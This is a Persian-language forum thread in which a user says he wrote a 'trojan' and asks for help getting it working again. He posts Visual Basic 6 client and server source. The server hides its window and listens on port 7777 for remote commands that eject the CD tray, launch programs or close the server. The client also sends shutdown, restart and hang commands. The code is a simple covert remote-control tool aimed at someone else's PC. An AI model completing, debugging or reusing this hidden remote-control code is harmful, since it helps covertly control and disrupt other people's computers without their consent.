amir-new.programer
شنبه 29 تیر 1392, 14:55 عصر
من چند وقت پیش یه تر..ان نوشتم عالی:چشمک:
جدیدا اشتباهی فرم سرور من پاک شد و از اول ساختمش :گریه::گریه::گریه:
حالا وقتی هر دو رو روی سیستم خودم اجرا میکنم و در کلاینت در کادر آی پی 127.0.0.1 رو وارد میکنم سرور عمل نمیکنه:شیطان::متعجب::گریه:
به خدا خیلی احتیاج دارم زودتر کمک کنید
m2011kh
شنبه 29 تیر 1392, 15:35 عصر
سورس رو بزار بررسی کنیم.
موفق و سربلند باشید
MMD
amir-new.programer
یک شنبه 30 تیر 1392, 14:06 عصر
(((codes program)))
'Client Code
Option Explicit
Private Declare Function mciSendString _
Lib "Winmm.dll" _
Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallBack As Long) As Long
Private Sub Command10_Click()
Dim strData As String
strData = "msg"
Winsock1.SendData strData
End Sub
Private Sub Command11_Click()
Timer12.Enabled = True
With Timer12
Enabled = True
End With
Timer12.Enabled = True
End Sub
Private Sub Command12_Click()
Dim strData As String
strData = "closeWindowOSK"
Winsock1.SendData strData
End Sub
Private Sub Command122_Click()
Dim strData As String
strData = "closeWindowNotePad"
Winsock1.SendData strData
End Sub
Private Sub Command13_Click()
Dim strData As String
strData = "CLOSECD"
Winsock1.SendData strData
Timer(0).Enabled = False
Timer2.Enabled = False
End Sub
Private Sub Command133_Click()
Dim strData As String
strData = "disant"
Winsock1.SendData strData
End Sub
Private Sub Command1410_Click()
Dim strData As String
strData = "invert"
Winsock1.SendData strData
End Sub
Private Sub Command144_Click()
Dim strData As String
strData = "shatdan-a"
Winsock1.SendData strData
End Sub
Private Sub Command155_Click()
Dim strData As String
strData = "taskk"
Winsock1.SendData strData
End Sub
Private Sub Command6_Click()
Dim strData As String
strData = "CloseMe"
Winsock1.SendData strData
End Sub
Private Sub Command1_Click()
Winsock1.Close
Winsock1.Connect Text1.Text, 7777
End Sub
Private Sub Command2_Click()
Dim strData As String
strData = "OPENCD"
Winsock1.SendData (OPENCD)
End Sub
Private Sub Command3_Click()
Dim strData As String
strData = "CLOSECD"
Winsock1.SendData strData
End Sub
Private Sub Command4_Click()
Dim strData As String
strData = "RunWindowOSK"
Winsock1.SendData strData
End Sub
Private Sub Command5_Click()
Dim strData As String
strData = "RunWindowNotePad"
Winsock1.SendData strData
End Sub
Private Sub Command7_Click()
With Timer
Enabled = True
End With
With Timer2
Enabled = True
End With
Timer2.Enabled = True
Timer(0).Enabled = True
End Sub
Private Sub Command8_Click()
Dim strData As String
strData = "shatdan"
Winsock1.SendData strData
End Sub
Private Sub Command9_Click()
Dim strData As String
strData = "reestart"
Winsock1.SendData strData
End Sub
Private Sub Timer_Timer(Index As Integer)
Dim strData As String
strData = "OPENCD"
Winsock1.SendData strData
End Sub
Private Sub Timer12_Timer()
Dim strData As String
strData = "hangg"
Winsock1.SendData strData
End Sub
Private Sub Timer2_Timer()
Dim strData As String
strData = "CLOSECD"
Winsock1.SendData strData
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Winsock1.GetData strData, vbString
End Sub
'Server Code
Option Explicit
Private Declare Function mciSendString Lib "Winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallBack As Long) As Long
Private Function EjectCD()
mciSendString "Set CDAudio Door Open", 0, 0, 0
End Function
Private Function CloseCD()
mciSendString "Set CDAudio Door Closed", 0, 0, 0
End Function
Private Sub Form_Load()
Winsock1.LocalPort = 7777
Winsock1.Listen
Form1.Hide
End Sub
Private Sub WinSock1_ConnectionRequest(ByVal RequestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept RequestID
End Sub
Private Sub WinSock1_DataArival(ByVal bytesTotal As Long)
DoEvents
Dim strData As String
Call Winsock1.GetData(strData$, vbString)
Select Case strData
Case "CloseMe"
Unload Me
Case "OPENCD"
EjectCD
Case "CLOSECD"
CloseCD
Case "RunWindowOSK"
Shell "OSK.exe"
Case "RunWindowNotePad"
Shell "NotePad.exe"
End Select
End Sub
………………………………………… ………………………………………… ………………………………………… …………………………
ضمنا این فرم سرور کد ش کامل نیست چون از وقتی فرمم پاک شد برای تست فقط همین چند تا رو برای سرور مشخص کردم تا ببینم کار میکنه یا نه
vBulletin® v4.2.5, Copyright ©2000-1404, Jelsoft Enterprises Ltd.